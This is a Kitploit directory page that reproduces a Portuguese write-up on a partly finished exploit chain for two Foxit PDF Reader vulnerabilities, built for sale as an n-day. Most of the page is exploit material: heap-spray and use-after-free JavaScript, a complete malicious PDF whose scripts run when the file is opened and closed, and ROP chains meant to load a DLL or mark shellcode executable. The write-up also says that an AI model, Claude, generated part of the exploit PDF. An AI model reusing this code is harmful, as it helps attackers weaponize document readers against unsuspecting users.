Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HackerLife.exe — Escreva sobre a cadeia de exploits que falhou e a experiência de tentar vender seu primeiro nday | Kitploit
Ferramentas/GitHubGitHub/spiralbl0ck/hackerlife.exe
Análise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodePapers e PesquisaAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubspiralbl0ck/hackerlife.exe

HackerLife.exe

Escreva sobre a cadeia de exploits que falhou e a experiência de tentar vender seu primeiro nday

Ver Repositório
há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

HackerLife.exe

Write-up sobre uma cadeia de exploração que falhou em ser totalmente weaponizada e a experiência de tentar vender o teu primeiro nday.

Então, sobre o que é esta história? A nossa citação é "experiência de vida em 2025 como jovem investigador de segurança a tentar fazer carreira num ambiente em constante mudança e complicado". Quando 2025 chegou, aconteceram algumas coisas na minha vida que me levaram a tentar ganhar algum dinheiro. Infelizmente, até hoje nunca foi esse o caso, pois falhei miseravelmente, como vais ver. Então a equipa decidiu tentar utilizar as nossas capacidades. Fomos contactados por uma pessoa numa ssn. Quando essa pessoa nos contactou, apresentou-se como uma startup emergente na área da cibersegurança, de uma parte do mundo em que o país faz parte da mnna, ou seja, um amigo da NATO (tentando não deixar demasiados detalhes sobre esta pessoa, pois são irrelevantes de qualquer forma). Contactaram-nos porque procuravam alguém para ajudar a melhorar o seu produto, uma espécie de framework premium do Metasploit; basicamente, precisavam de ndays para a sua framework. Ao que respondemos alegremente que ajudaríamos, mediante uma certa quantia de dinheiro (mais uma vez, irrelevante, pois a transação nunca chegou a acontecer). Assim, propusemos uma série de potenciais CVEs que achávamos que poderíamos usar para produzir um exploit em mês e meio. Podes ver o produto proposto aqui.catalogue_final.pdf. De qualquer forma, aqui vem a primeira lição importante para os jovens que querem entrar no mundo da cibersegurança. Ao escolher um CVE, leva uns 3-4 semanas a rever o CVE antes de começares a investigação. No tal catálogo, vais conseguir ver que um dos exploits era uma chain, uma de PDF.... Olhámos apenas brevemente para as descrições, executámos o PoC fornecido uma ou duas vezes e vimos qual era a CWE, e decidimos que "hey, talvez consigamos transformar isto num exploit totalmente weaponizado". Não podíamos estar mais longe da verdade. Porque às vezes a vida acontece, eu tinha um exame para passar e decidimos que começaríamos a trabalhar no exploit propriamente dito no dia 20 de fevereiro. Chega o dia 20 de fevereiro e começamos a trabalhar no exploit. Começamos com algo "relativamente fácil" (nota o sarcasmo), começamos com o CVE-2024-25648. Mas antes de sequer começarmos a trabalhar nisso, começámos a tentar perceber a estrutura dos PDFs, ou melhor, apenas ter uma pequena visão geral deles, pois como verás mais adiante no documento, teríamos de criar um "documento apropriado" com diferentes ações que eram acionadas quando certos eventos aconteciam. Portanto, temos de agradecer ao ange albertini por documentar isto como deve ser. Aqui estão os recursos que usámos para perceber a estrutura dos PDFs https://www.youtube.com/watch?v=q6KgFezu8tw , https://www.youtube.com/watch?v=8g6G96nn7Mo , https://www.youtube.com/live/xZPK04a5ltc . Porque é que isto é sequer relevante? Sinceramente, esqueci-me, mas decidimos que, para esta chain, uma parte do exploit seria executada em segundo plano sempre que abrisses o PDF e a segunda parte sempre que o fechasses. Idealmente, o exploit deveria explorar o CVE-2024-25648 ao fechar e o CVE-2024-25575 ao abrir. Para simplificar: para conseguirmos criar um layout de memória preciso para a exploração precisa do uaf, precisávamos de um info-leak para calcular endereços para os ROPgadgets. Assim, o fluxo do exploit seria: type conf -> infoleak --> gc para limpar o layout da heap --> spray preciso --> uaf --> controlo do eip -8 --> stackpivot --> ropchain --> sc --> pop calc.exe . Nesta fase atual, só temos o uaf e o heap spray e, teoricamente (não testadas), 2 ropchains propostas. Agora, sem entrar em demasiados detalhes, uma parte crucial de qualquer exploração de uaf é obviamente uma "allocator primitive". O que é isso? Simplificando, algo que te permite ter controlo sobre o conteúdo e o tamanho que desejas alocar. Tivemos a sorte de haver outras pessoas que fizeram alguma investigação sobre este tópico. Então usámos https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once como base de partida. Então sabíamos que tínhamos de começar a nossa investigação com base em algo como function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} mas não sabíamos o que fazer exatamente. Então voltámos atrás, lemos o advisory e tentámos encontrar o tamanho do objeto vulnerável. Como fizemos isso? Honestamente, por pura sorte. Tínhamos alguns hooks inseridos em RlptFreeHeap, Math.atan, Math.sin e, finalmente, RtlAllocateHeap. (Desculpa, são uma confusão; durante a investigação, de alguma forma perdêmo-los). Inserir imagem aqui com o rasto dos objetos. Então, depois de procurar algum padrão nas alocações de memória, concluímos que o tamanho do objeto vulnerável era 0x70. O que fizemos a seguir foi tentar recuperar o objeto. De um modo geral, ao explorar um uaf, existem 2 pré-requisitos para controlares o dito objeto: 1. saber o tamanho e 2. ser capaz de colocar uma nova alocação entre o free e o reuse, e foi o que fizemos. Como podes ver function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

colocámos entre os deletePages (que é o que vai eliminar coisas) a realocação do dito objeto. E eis que, insere imagem do controlo de EIP 41414141. Agora, falámos anteriormente sobre o fluxo do exploit ou do ponto de vista da arquitetura do exploit, e mencionámos o facto de querermos chamar o gc para limpar a heap. Bem, sem entrar em demasiados detalhes para pessoas que não estão familiarizadas com a forma de chamar o gc para limpar o estado da heap, um método (porque há muitos) é criar um objeto muito grande algumas vezes e pronto.

Agora, a implementação real disto era esta função gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

nada de novo debaixo do sol, só queria salientar um facto rápido sobre a implementação disto. Agora há mais uma coisa a abordar, já que o exploit tem como alvo um software de 32 bits. No Windows existe o conceito de precise heap spray. Então, o que é isso? No Windows (sei que também deve ser possível em Linux, só vi no Windows) apenas consegues alocar, para um espaço de 32 bits, um endereço previsível todas as vezes. Sinceramente, isto não é nada de novo debaixo do sol. É algo fácil depois de perceberes; eu percebi-o ao pormenor uma vez, mas agora não :))). De qualquer forma, no Windows 10 não podes fazer VirtualAlloc com tamanho para VABlocks 0x7fb0. Mas felizmente podes fazer um truque. Podes fazer alocações incrementais de tamanho 0x10000, 0x40000 e outro tamanho, e sei lá, umas 0x300 vezes. Isto permite-te fazê-lo. Mais uma vez, nada de novo debaixo do sol; quem sabe, sabe. Agora aqui está a implementação específica. function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

Nada de novo debaixo do sol: repete o mesmo payload de 0x10000 em 0x10000 até formares uma string hex de tamanho 0x40000 e depois literalmente fazes spray. Agora tenho de mencionar que isto é um pouco instável, porque embora faça bastante spray e de vez em quando consigamos obter um endereço preciso, isto precisa de um pouco de otimização/melhoria, porque, bem, esqueci-me de como se faz exatamente esta coisa. Inserir imagem windbg e alguma explicação sobre o que vejo.

Agora, antes de fecharmos o capítulo, valeria a pena mencionar como criámos os hooks para Math.atan, Math.sin e RlptFreeHeap/RtlpAllocateHeap. Bem, para a função rtlp eu tinha alguns hooks de quando frequentei uma formação de exploit dev que lidava com o Foxit, uma versão mais antiga. Para Math.atan, Math.sin ruben....(inserir explicação). E então chegámos a isto (inserir hooks) (inserir imagem windbg + explicação sobre o que acontece ali).

Agora para a segunda parte do blog: CVE-2024-25575

Sem entrar demasiado nos detalhes do write-up da Talos, o Ruben, duas semanas depois de começarmos a olhar para a segunda parte do bug, avisou-me de que isto podia não ser exatamente um bug de type confusion, mas sim um uaf que tem como efeito secundário type confusion em strings. Independentemente disso, parece um bom cenário para desenvolvimento de exploits. Na verdade, não. Então, desde o início, ficamos com isto:

var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;

app.activeDocs[0].deletePages();

app.fs.transitions;

lock_object.defineGetter('fields', function () {});

e o teu próximo objetivo é perceber como raios substituir app.fs.transitions. Neste momento, eu e o Ruben passámos umas 3 semanas a arrancar cabelos a tentar perceber, porque, segundo a documentação da Adobe, app.fs.transitions é um objeto que só é legível e não gravável (NÃO É UM BOM SINAL PARA EXPLORAÇÃO). Em segundo lugar, não conseguimos determinar corretamente o tamanho de app.fs.transitions com o hook. Porquê, perguntarás? Bem, embora tenhamos tido sorte suficiente para o determinar na parte anterior, aqui tivemos azar quando percebemos que o parâmetro de tamanho neste caso não correspondia aos hooks e, portanto, não conseguimos determinar o tamanho exato. Agora, como é que saímos desta confusão? Bem, nessas 3 semanas que passaram, vimos um dia no Twitter que alguém tinha lançado um servidor MCP para Ghidra/IDA e dissemos que iríamos experimentar. Depois de, acho eu, um ou dois dias a discutir com o Claude, de alguma forma ele gerou esta monstruosidade. message.txt%PDF-1.5

1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R /AA << /WC 3 0 R
>> endobj

2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]

endobj

3 0 obj << /S /JavaScript /JS(

//var sprayArr = []; var sprayArr2 = [];

var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }

// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }

function type_conf() { app.alert("Starting alternative exploitation approach...");

root@kitploit:~
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];

for (var i = 0; i < fieldTypes.length; i++) {
    try {
        fields[fieldTypes[i]] = app.activeDocs[0].addField(
            'Field_' + fieldTypes[i], 
            fieldTypes[i], 
            0, 
            [10, 50 + i*40, 100, 80 + i*40]
        );
        app.alert("Created " + fieldTypes[i] + " field");
    } catch (e) {
        app.alert("Error creating " + fieldTypes[i] + " field: " + e);
    }
}

// Step 2: Store references to various objects from these fields
var objects = [];
try {
    // Get various objects from different field types to increase chances of success
    if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
    if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
    if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
    if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
    
    app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
    app.alert("Error storing object references: " + e);
}

// Step 3: Call deletePages() with specific parameters
try {
    app.activeDocs[0].deletePages({nStart: 0, nCount: 0});  // Try not to delete any pages
    app.alert("deletePages called with parameters");
} catch (e) {
    app.alert("Error in deletePages: " + e);
    // Continue anyway
}

// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];

// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
    stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}

// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
    var obj = {
        marker: 0xABCD0000 + i,
        index: i,
        name: "Marker" + i
    };
    bufferObjects.push(obj);
}

// Step 5: Access transitions and other APIs to influence memory
try {
    // Access app.fs.transitions
    app.fs.transitions;
    app.alert("Transitions accessed");
    
    // Access other properties that might influence memory
    if (app.fs.fonts) app.alert("Fonts accessed");
    if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
    app.alert("Error accessing app properties: " + e);
}

// Step 6: Trigger JavaScript garbage collection
try {
    for (var i = 0; i < 3; i++) {
        var largeArray = new Array(1000000);
        largeArray = null;
    }
    app.alert("Garbage collection potentially triggered");
} catch (e) {
    app.alert("Error triggering GC: " + e);
}

// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];

for (var i = 0; i < objects.length; i++) {
    var objName = objects[i].name;
    var obj = objects[i].obj;
    
    results.push("Examining " + objName + ":");
    
    try {
        // Check object type
        results.push("- Type: " + typeof obj);
        
        // Try to convert to string
        var asString = String(obj);
        results.push("- String representation: " + asString);
        
        // Look for patterns that might indicate addresses
        var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
        if (hexMatches) {
            for (var m = 0; m < hexMatches.length; m++) {
                results.push("- Potential address: 0x" + hexMatches[m]);
            }
        }
        
        // Try JSON serialization with error handling
        try {
            var asJson = JSON.stringify(obj);
            if (asJson && asJson.length > 2) {  // Not empty object
                results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
            }
        } catch (jsonError) {
            results.push("- JSON error: " + jsonError);
        }
        
    } catch (e) {
        results.push("- Error examining object: " + e);
    }
}

// Report results
for (var i = 0; i < results.length; i++) {
    app.alert(results[i]);
}

app.alert("Alternative exploitation completed");

}

type_conf();

root@kitploit:~
)

endobj

4 0 obj << /S /JavaScript /JS(

/* ROP

FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax

we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian

and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian

at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such

arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

cause we dont have writeprocessmemory so we result to loadlibrarya

43 3A eq to C:\Users\Vlad\Desktop\hack.dll

0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)

or in case we want virtualrpotect chain as payload

skeleton = RopChain()

skeleton += 0x41414141 # VirtualAlloc address

skeleton += 0x42424242 # shellcode return address to return to after VirtualAlloc is called

skeleton += 0x43434343 # lpAddress (shellcode address)

skeleton += 0x44444444 # dwSize (0x1)

skeleton += 0x45454545 # flAllocationType (0x1000)

skeleton += 0x46464646 # flProtect (0x40)

rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #this needs to be changed to point to shellcode rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) since it's the same rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = size for shellcode here rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

*/

var global_address_spray = [];

function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }

function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

var sprayArr = []; var sprayArr2 = [];

var theSize = 0x70-8;

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

//start("enabling the heap hook"); //end("disabling the heap hook");

//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }

//store_shellcode(); //uaf(); //console.show(); )>>

5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj

trailer << /Root 1 0 R
/Size 12

startxref

%%EOF

Agora, o que fizemos foi, acho que podemos chamar de teste de regressão, onde o ruben pegou este PoC e começou a desmontá-lo linha por linha. O processo inteiro levou cerca de duas semanas pelo que me lembro, mas como uma curiosidade engraçada, aqui está como essa conversa ocorreu:

vlad: eu controlo o ecx!!!!!! perto de infoleak com este você controla ecx exatamente mas não sei como substituir o objeto, object is dead, mas você controla meio que onde ele crasha cola um poc aleatório e com este você quase controla ecx, você controla ecx+8, vê o que, nah, e faz um infoleak por favor 🙂 posta um poc aleatório neste você controla a string 'object is dead' então deve estar perto então, como já concluímos, o exp não é 100% mas não precisa ser 100%, só precisa ser confiável, então no meu teste 5/3 a saída é a de cima para o parcial, para o object_is_dead, 100% das vezes ele crasha com controle de ecx

reuben: então, estou tentando rodar este poc, e isso é um bug totalmente diferente, lool vlad: posso te chamar no vc para perguntar sobre suas descobertas? quê bug totalmente diferente como?? 0day??? você sabe que a gente tenta acessar app.fs.transitions o que só me faz meio que questionar: isso é 0day, confusão de bug cruzado ou outro cve, claro que de novo a gente usa delete_pages e app.fs.transition reuben: então, antes crashava em algum lugar aleatório. eu não sei o que aconteceu mas aqui está crashando no mesmo lugar (replicado várias vezes agora) mas saca só é antes de você chamar app.fs.transitions vlad: que vida é essa, mano?? reuben: eu ainda não sei como controlar os dados lá, mas tenho certeza que algo pode substituí-los vlad: ok deixa eu te perguntar isso os pocs que você tem agora eles mostram um certo controle em termos de ecx e pelo que você está me dizendo, app.fs.transitions é inútil, certo legal então estamos no caminho certo, não? reuben: sim, dá para fazer sem app.fs.transitions e eu venho dizendo isso há muito tempo, só não sabia como acionar (e ainda não sei, pra ser sincero) vlad: bem, poderia ser como você disse que o bug real é mais uaf do que type conf??? e é só type conf por causa de app.fs.transitions?

E aqui vem uma lição aprendida durante o processo de raciocínio, e isso pode ser crucial também para pesquisadores iniciantes: se um bug parece, digamos, uma type confusion no advisory, mas pela sua análise se comporta como uma classe diferente, pode ser um sinal de que, neste caso, ou para generalizar, se você quiser usar type conf para infoleak, mas o bug se comporta como uaf no Windows, muito provavelmente você não vai conseguir fazer infoleak.

reuben: ainda não posso dizer mas escuta isso eu removi o passo 11 do seu último poc e ainda assim dispara

o passo 11 é onde você chama app.fs.transitions ainda não sabemos se podemos usar para vazar algo, lol

vlad: concordo mas pelo menos temos algum controle agora que de novo não é bem uma coisa porque pode ser apenas coincidência e não conseguimos controlar, looll e voltamos à estaca zero que vida é essa????

reuben: ok, então eu mudei o texto que está aparecendo no crash agora 😄

vlad: quêêê sério?? você conseguiu controle?

vejo um raio de luz brilhando

reuben: não totalmente, porque o texto está em UTF-16LE, mas talvez eu consiga fazer alguma coisa, vamos ver

reuben: image-2

reuben: este é outro, o que significa que eu provavelmente posso contornar a restrição de utf-16le

0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.

......... conversa omitida em prol da brevidade e da saúde mental

